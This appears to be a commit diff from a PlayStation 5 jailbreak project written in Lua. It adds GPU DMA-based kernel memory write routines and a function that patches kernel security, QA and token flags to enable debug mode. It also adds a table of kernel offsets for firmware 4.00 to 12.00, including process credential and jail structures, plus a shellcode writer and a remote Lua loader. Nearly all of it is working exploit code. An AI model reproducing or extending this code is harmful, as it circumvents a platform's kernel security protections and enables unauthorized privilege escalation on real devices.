|
||||
|
||||
-- dmap_base + kernel_cr3
|
||||
local pmap_store = _data_base + OFF.KERNEL_PMAP_STORE
|
||||
local pm_pml4 = kr64(pmap_store + OFF.PMAP_PML4)
|
||||
local pm_cr3 = kr64(pmap_store + OFF.PMAP_CR3)
|
||||
_dmap_base = pm_pml4 - pm_cr3
|
||||
_kernel_cr3 = pm_cr3
|
||||
_ulog("[gpu] dmap="..to_hex(_dmap_base).." cr3="..to_hex(_kernel_cr3))
|
||||
|
||||
local prot_rw = PROT_READ | PROT_WRITE | GPU_READ | GPU_WRITE
|
||||
|
||||
gpu.victim_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE)
|
||||
gpu.transfer_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE)
|
||||
gpu.cmd_va = alloc_main_dmem(gpu.dmem_size, prot_rw, MAP_NO_COALESCE)
|
||||
if not gpu.victim_va or not gpu.transfer_va or not gpu.cmd_va then
|
||||
send_notification("[gpu] dmem alloc failed"); return false
|
||||
end
|
||||
_ulog("[gpu] victim="..to_hex(gpu.victim_va))
|
||||
_ulog("[gpu] transfer="..to_hex(gpu.transfer_va))
|
||||
_ulog("[gpu] cmd="..to_hex(gpu.cmd_va))
|
||||
|
||||
local proc_cr3 = get_proc_cr3(_curproc)
|
||||
if not proc_cr3 then
|
||||
send_notification("[gpu] proc cr3 failed"); return false
|
||||
end
|
||||
local victim_real_pa = virt_to_phys(gpu.victim_va, proc_cr3)
|
||||
if not victim_real_pa then
|
||||
send_notification("[gpu] victim pa failed"); return false
|
||||
end
|
||||
_ulog("[gpu] victim_pa="..to_hex(victim_real_pa))
|
||||
|
||||
-- walk gpu page tables for victim pte
|
||||
local ptbe_va, page_size = get_ptb_entry(_curproc, gpu.victim_va)
|
||||
if not ptbe_va then
|
||||
send_notification("[gpu] gpu pt walk failed"); return false
|
||||
end
|
||||
if page_size ~= gpu.dmem_size then
|
||||
send_notification("[gpu] page_size mismatch "..to_hex(page_size)); return false
|
||||
end
|
||||
_ulog("[gpu] ptbe="..to_hex(ptbe_va))
|
||||
|
||||
-- capture cleared pte
|
||||
local prot_ro = PROT_READ | PROT_WRITE | GPU_READ
|
||||
syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_ro)
|
||||
local initial_ptbe = kr64(ptbe_va)
|
||||
gpu.cleared_victim_ptbe_for_ro = initial_ptbe & (~victim_real_pa)
|
||||
gpu.victim_ptbe_va = ptbe_va
|
||||
_ulog("[gpu] initial_ptbe="..to_hex(initial_ptbe))
|
||||
_ulog("[gpu] cleared_ptbe="..to_hex(gpu.cleared_victim_ptbe_for_ro))
|
||||
|
||||
syscall.mprotect(gpu.victim_va, gpu.dmem_size, prot_rw)
|
||||
|
||||
-- export
|
||||
gpu.data_base = _data_base
|
||||
gpu.dmap_base = _dmap_base
|
||||
gpu.kernel_cr3 = _kernel_cr3
|
||||
|
||||
_ulog("[gpu] setup ok ("..(_submit_method)..")")
|
||||
return true
|
||||
end
|
||||
|
||||
-- debug settings patch (uses gpu dma writes)
|
||||
|
||||
function gpu.patch_debug(ulog_fn)
|
||||
local ulog = ulog_fn or _ulog
|
||||
if not _data_base then ulog("[gpu] no data_base"); return false end
|
||||
|
||||
local secflags_addr = _data_base + OFF.SECURITY_FLAGS
|
||||
|
||||
-- security_flags |= 0x14
|
||||
local sf = gpu.read32(secflags_addr)
|
||||
if sf then
|
||||
ulog("[gpu] sec_flags="..to_hex(sf))
|
||||
gpu.write32(secflags_addr, sf | 0x14)
|
||||
ulog("[gpu] sec_flags now="..to_hex(gpu.read32(secflags_addr)))
|
||||
end
|
||||
|
||||
-- target_id = 0x82
|
||||
gpu.write8(secflags_addr + 0x09, 0x82)
|
||||
ulog("[gpu] target_id set")
|
||||
|
||||
-- qa_flags |= 0x10300
|
||||
local qa = gpu.read32(secflags_addr + 0x24)
|
||||
if qa then
|
||||
ulog("[gpu] qa_flags="..to_hex(qa))
|
||||
gpu.write32(secflags_addr + 0x24, qa | 0x10300)
|
||||
ulog("[gpu] qa_flags now="..to_hex(gpu.read32(secflags_addr + 0x24)))
|
||||
end
|
||||
|
||||
-- utoken |= 0x01
|
||||
local ut_addr = secflags_addr + 0x8C
|
||||
local ut_aligned = ut_addr & 0xFFFFFFFFFFFFFFFC
|
||||
local ut_byte = ut_addr - ut_aligned
|
||||
local ut_dw = gpu.read32(ut_aligned)
|
||||
if ut_dw then
|
||||
local ut_val = (ut_dw >> (ut_byte * 8)) & 0xFF
|
||||
local new_dw = (ut_dw & ~(0xFF << (ut_byte * 8))) | (((ut_val | 0x01) & 0xFF) << (ut_byte * 8))
|
||||
gpu.write32(ut_aligned, new_dw)
|
||||
ulog("[gpu] utoken set")
|
||||
end
|
||||
|
||||
ulog("[gpu] debug patches done")
|
||||
return true
|
||||
end
|
||||
|
||||
function gpu.close()
|
||||
if _gpu_fd >= 0 then
|
||||
syscall.close(_gpu_fd)
|
||||
_gpu_fd = -1
|
||||
end
|
||||
end
|
||||
+7
-1
@@ -9,8 +9,11 @@ require "misc"
|
||||
require "syscall"
|
||||
require "remotelualoader"
|
||||
require "jit"
|
||||
require "gpu"
|
||||
require "offsets"
|
||||
require "elf_loader"
|
||||
|
||||
version_string = "Luac0re 2.1d by Gezine"
|
||||
version_string = "Luac0re 2.2 by Gezine"
|
||||
|
||||
init_native_functions()
|
||||
patch_malloc()
|
||||
@@ -30,6 +33,9 @@ if not status then
|
||||
return
|
||||
end
|
||||
|
||||
-- For poops compatibility
|
||||
ulog = print
|
||||
|
||||
nid_luafile = "/" .. get_nidpath() .. "/common_temp/nid.lua"
|
||||
auto_luafile = "/savedata0/lua/auto.lua"
|
||||
if file_exists(nid_luafile) then
|
||||
|
||||
+22
-2
@@ -1,4 +1,3 @@
|
||||
|
||||
function printf(fmt, ...)
|
||||
print(string.format(fmt, ...))
|
||||
end
|
||||
@@ -32,6 +31,7 @@ function file_read(filename, mode)
|
||||
end
|
||||
|
||||
function send_notification(text)
|
||||
print(text)
|
||||
local notify_buffer_size = 0xc30
|
||||
local notify_buffer = malloc(notify_buffer_size)
|
||||
local icon_uri = "cxml://psnotification/tex_icon_system"
|
||||
@@ -236,7 +236,7 @@ function is_jailbroken()
|
||||
local sockaddr_in = malloc(16)
|
||||
local enable = malloc(4)
|
||||
|
||||
local sock_fd = syscall.socket(AF_INET, SOCK_STREAM, 0)
|
||||
local sock_fd = create_socket(AF_INET, SOCK_STREAM, 0)
|
||||
if sock_fd == -1 then
|
||||
error("socket failed: " .. to_hex(sock_fd))
|
||||
end
|
||||
@@ -357,3 +357,23 @@ function write_shellcode(dest, str)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
function get_title_id()
|
||||
local sceKernelGetAppInfo = func_wrap(dlsym(LIBKERNEL_HANDLE, "sceKernelGetAppInfo"))
|
||||
local pid = syscall.getpid()
|
||||
|
||||
local app_info = malloc(0x100)
|
||||
local result = sceKernelGetAppInfo(pid, app_info)
|
||||
if result ~= 0 then
|
||||
error("sceKernelGetAppInfo error: " .. to_hex(result))
|
||||
end
|
||||
|
||||
return read_null_terminated_string(app_info + 0x10)
|
||||
end
|
||||
|
||||
|
||||
function kill_app()
|
||||
local pid = syscall.getpid()
|
||||
local SIGKILL = 9
|
||||
syscall.kill(pid, SIGKILL)
|
||||
end
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
-- sources: Y2JB kernel_offset.js, ps5-payload-dev SDK
|
||||
|
||||
fw_offsets = {
|
||||
["4.00"] = { DATA_BASE=0x0C00000, ALLPROC=0x027EDCB8, SECURITY_FLAGS=0x06506474, ROOTVNODE=0x066E74C0, KERNEL_PMAP_STORE=0x03257A78, GVMSPACE=0x064C3F80 },
|
||||
["4.02"] = "4.00", ["4.03"] = "4.00", ["4.50"] = "4.00", ["4.51"] = "4.00",
|
||||
|
||||
["5.00"] = { DATA_BASE=0x0C40000, ALLPROC=0x0291DD00, SECURITY_FLAGS=0x066466EC, ROOTVNODE=0x06853510, KERNEL_PMAP_STORE=0x03398A88, GVMSPACE=0x06603FB0 },
|
||||
["5.02"] = "5.00", ["5.10"] = "5.00",
|
||||
|
||||
["5.50"] = { DATA_BASE=0x0C40000, ALLPROC=0x0291DD00, SECURITY_FLAGS=0x066466EC, ROOTVNODE=0x06853510, KERNEL_PMAP_STORE=0x03394A88, GVMSPACE=0x06603FB0 },
|
||||
|
||||
["6.00"] = { DATA_BASE=0x0C60000, ALLPROC=0x02869D20, SECURITY_FLAGS=0x065968EC, ROOTVNODE=0x0679F510, KERNEL_PMAP_STORE=0x032E4358, GVMSPACE=0x065540F0 },
|
||||
["6.02"] = "6.00", ["6.50"] = "6.00",
|
||||
|
||||
["7.00"] = { DATA_BASE=0x0C50000, ALLPROC=0x02859D50, SECURITY_FLAGS=0x00AC8064, ROOTVNODE=0x030C7510, KERNEL_PMAP_STORE=0x02E2C848, GVMSPACE=0x02E76090 },
|
||||
["7.01"] = "7.00", ["7.20"] = "7.00", ["7.40"] = "7.00", ["7.60"] = "7.00", ["7.61"] = "7.00",
|
||||
|
||||
["8.00"] = { DATA_BASE=0x0C70000, ALLPROC=0x02875D50, SECURITY_FLAGS=0x00AC3064, ROOTVNODE=0x030FB510, KERNEL_PMAP_STORE=0x02E48848, GVMSPACE=0x02EAA090 },
|
||||
["8.20"] = "8.00", ["8.40"] = "8.00", ["8.60"] = "8.00",
|
||||
|
||||
["9.00"] = { DATA_BASE=0x0CA0000, ALLPROC=0x02755D50, SECURITY_FLAGS=0x00D72064, ROOTVNODE=0x02FDB510, KERNEL_PMAP_STORE=0x02D28B78, GVMSPACE=0x02D8A570 },
|
||||
|
||||
["9.05"] = { DATA_BASE=0x0CA0000, ALLPROC=0x02755D50, SECURITY_FLAGS=0x00D73064, ROOTVNODE=0x02FDB510, KERNEL_PMAP_STORE=0x02D28B78, GVMSPACE=0x02D8A570 },
|
||||
["9.20"] = "9.05", ["9.40"] = "9.05", ["9.60"] = "9.05",
|
||||
|
||||
["10.00"] = { DATA_BASE=0x0CC0000, ALLPROC=0x02765D70, SECURITY_FLAGS=0x00D79064, ROOTVNODE=0x02FA3510, KERNEL_PMAP_STORE=0x02CF0EF8, GVMSPACE=0x02D52570 },
|
||||
["10.01"] = "10.00", ["10.20"] = "10.00", ["10.40"] = "10.00", ["10.60"] = "10.00",
|
||||
|
||||
["11.00"] = { DATA_BASE=0x0D30000, ALLPROC=0x02875D70, SECURITY_FLAGS=0x00D8C064, ROOTVNODE=0x030B7510, KERNEL_PMAP_STORE=0x02E04F18, GVMSPACE=0x02E66570 },
|
||||
["11.20"] = "11.00", ["11.40"] = "11.00", ["11.60"] = "11.00",
|
||||
|
||||
["12.00"] = { DATA_BASE=0x0D50000, ALLPROC=0x02885E00, SECURITY_FLAGS=0x00D83064, ROOTVNODE=0x030D7510, KERNEL_PMAP_STORE=0x02E1CFB8, GVMSPACE=0x02E7E570},
|
||||
}
|
||||
|
||||
local struct_offsets = {
|
||||
-- proc
|
||||
PROC_PID = 0xBC,
|
||||
PROC_UCRED = 0x40,
|
||||
PROC_FD = 0x48,
|
||||
PROC_VM_SPACE = 0x200,
|
||||
|
||||
-- ucred
|
||||
UCRED_CR_UID = 0x04,
|
||||
UCRED_CR_RUID = 0x08,
|
||||
UCRED_CR_SVUID = 0x0C,
|
||||
UCRED_CR_NGROUPS= 0x10,
|
||||
UCRED_CR_RGID = 0x14,
|
||||
UCRED_CR_PRISON = 0x30,
|
||||
UCRED_CR_SCEAUTHID = 0x58,
|
||||
UCRED_CR_SCECAPS0 = 0x60,
|
||||
UCRED_CR_SCECAPS1 = 0x68,
|
||||
UCRED_CR_SCEATTRS = 0x83,
|
||||
|
||||
-- filedesc
|
||||
FILEDESC_OFILES = 0x00,
|
||||
FDESCENTTBL_HDR = 8,
|
||||
FILEDESCENT_SIZE= 0x30,
|
||||
|
||||
-- fd
|
||||
FD_RDIR = 0x10,
|
||||
FD_JDIR = 0x18,
|
||||
|
||||
KQ_FDP = 0xA8,
|
||||
KL_LOCK = 0x68,
|
||||
|
||||
-- net
|
||||
INPCB_PKTOPTS = 0x120,
|
||||
IP6PO_RTHDR = 0x70,
|
||||
|
||||
-- pipe sigio
|
||||
PIPE_SIGIO = 0xD8,
|
||||
|
||||
-- pmap
|
||||
PMAP_CR3 = 0x28,
|
||||
PMAP_PML4 = 0x20,
|
||||
|
||||
-- gpu vmspace
|
||||
SIZEOF_GVMSPACE = 0x100,
|
||||
GVMSPACE_START_VA = 0x08,
|
||||
GVMSPACE_SIZE = 0x10,
|
||||
GVMSPACE_PAGE_DIR = 0x38,
|
||||
|
||||
TARGET_ID_REL = 0x09,
|
||||
QA_FLAGS_REL = 0x24,
|
||||
UTOKEN_REL = 0x8C,
|
||||
}
|
||||
|
||||
function get_offsets(fw_version)
|
||||
local major, minor = fw_version:match("(%d+)%.(%d+)")
|
||||
if not major then return nil end
|
||||
local key = tostring(tonumber(major)) .. "." .. minor
|
||||
local entry = fw_offsets[key]
|
||||
for i = 1, 5 do
|
||||
if type(entry) == "string" then entry = fw_offsets[entry]
|
||||
else break end
|
||||
end
|
||||
|
||||
if type(entry) ~= "table" then return nil end
|
||||
local OFF = {}
|
||||
for k, v in pairs(entry) do OFF[k] = v end
|
||||
for k, v in pairs(struct_offsets) do OFF[k] = v end
|
||||
return OFF
|
||||
end
|
||||
@@ -1,3 +1,2 @@
|
||||
|
||||
send_notification("Hello from remote lua!")
|
||||
print("Hello from remote lua!")
|
||||
File diff suppressed because it is too large.
Load diff
@@ -34,4 +34,5 @@ if log_initialized_for ~= LOG_SERVER then
|
||||
local s = str .. "\n"
|
||||
syscall.sendto(log_sock, s, #s, 0, log_addr, 16)
|
||||
end
|
||||
ulog = print
|
||||
end
|
||||
Reference in new issue
Block a user